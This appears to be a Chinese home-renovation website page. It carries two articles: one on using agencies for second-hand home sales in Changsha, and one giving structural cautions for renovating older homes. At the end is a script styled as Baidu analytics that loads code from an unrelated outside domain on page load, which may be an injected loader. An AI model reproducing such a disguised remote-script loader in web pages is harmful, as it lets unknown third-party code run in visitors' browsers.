长沙旧房装修的交易中介靠谱吗

旧房交易是一个较为复杂的过程，且专业性较强，市民请长沙旧房装修的中介代理省时、省心、省力，所以中介机构是促使旧房交易成功的主力军，其力量不可抵估。所谓旧房市场就是二手房的买卖，俗称房地产三级市场。目前市场上的二手房房源品种较多，一般包括不可售公有住房(即非成套独用)、可售公房(成套独用的按规定可出售的)、已售公房(按房改政策已买下的)和二手商品房，由于这些旧房的权属不同，所以买卖的程序也不同。近年来，政府已出台了一系列规范房地产三级市场的政策，对于启动三级市场来带动二级市场的商品房销售起到了积极的推动作用。有关行家认为，委托房产中介机构代理旧房买卖业务，至少有以下几个方面的好处：一是房源信息多。现在市民要置换房子，第一步就是将旧房定个心理价位，到房产中介公司挂牌上市，探索市场的反映。由于挂牌上市不收费用，时间一长就使中介公司积累了众多的房源信息。据了解，有一定规模的房产中介公司，房源信息均在5000条左右，从而为市民置换房屋提供了广阔的选择空间。二是办妥手续快。据介绍，可售公房属于可出售的使用权房，按规定，若上市应采取“两步并一步”的做法，即先将其按有关房改政策买下变成售后公房再上市出售，期间需要签订一系列的购房合同，出售合同，要交纳土地收益金，交易手续费及综合税，还要到物业公司办理进退户手续等等，手续十分繁琐，个人到交易中心办手续需25个工作日甚至更长时间，而委托中介机构办理，少则二、三天，多则一星期便可办妥。三是资金到手快。如果你急于置换房子，而一时又找不到“下家”，那就可以请中介机构收购旧房，并直接将资金投入新购商品房中。至于收购的价格问题，众所周知。现在房市处于低迷阶段，房价相对较便宜，这是指商品房市场，当然也包括旧房市场，既想廉价买进商品房，又想高价出售旧房子，这显然是不现实的。所以对旧房房价，市民应正视市场，保持平静的心态，期望值不能太高。除此以外，为了进一步提高市民购买旧房的能力，金融界正逐步推出二手房担保贷款、低押贷款和公积金贷款的业务，这样旧房交易的环节可能还会增加，但有了中介机构的参与，便能省去当事人的许多时间和精力，这不失为市民置换房屋的一条捷径。好了，今天就说到这里了。希望这篇关于旧房装修小文章能够对大家有所帮助哦。想了解更多新鲜可口的独家资讯，只在长沙装修网哦。

长沙房屋改造过程中需要注意的一些地方

长沙房屋改造应注意早期设计。房屋改造需要装修的原因是目前的装修条件不能满足居民对生活质量的追求。这主要体现在存储和美学上。尤其是卧室或阳台不能合理使用的储藏空间，以及现有的起居室、餐厅、厨房和卫生间装饰过于陈旧。早期设计应注重储物功能和装饰风格设计。我们可以尽量节省一些不需要更换的地方，这样可以很好的降低装修的费用。长沙房屋改造所有承重墙都是固定的。因为承重墙不易拆除和重建，承重墙承载着整个建筑的重量，是整个建筑结构的平衡。如果承重墙被破坏，即力的平衡被破坏，后果是非常严重的，任何人都不能承担责任。轻质墙体不能随意拆除，因为有些墙体还承载着房屋的部分重量。长沙房屋改造墙体钢筋不能移动，会影响墙体和楼层的承载能力，留下潜在的安全隐患。所以你不能随意拆卸它。长沙房屋改造厨房卫生间墙壁的水平面往往是业主容易忽视的一部分。在计算房屋改造的拆墙成本时，你需要注意贴瓷砖的效果，如果贴的不平的话你则需要对墙面进行平整。长沙房屋改造不要把阳台当作厨房。在一些旧的小公寓里，许多业主把厨房搬到阳台上以增加客厅的面积。这就增加了使用面积，如果这样厨房里残留的烟雾就变成了室内空气污染的源头。还有就是厨房的移动增加了下水道泄漏的风险。如果出现泄漏，将影响到邻居。新房改造的步骤不同于旧房改造的步骤。如果你想改变目前的装修风格，你需要知道旧房子的装修步骤，这样装修设计才能有序进行。长沙房屋改造中应注意的问题也需要进一步了解。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();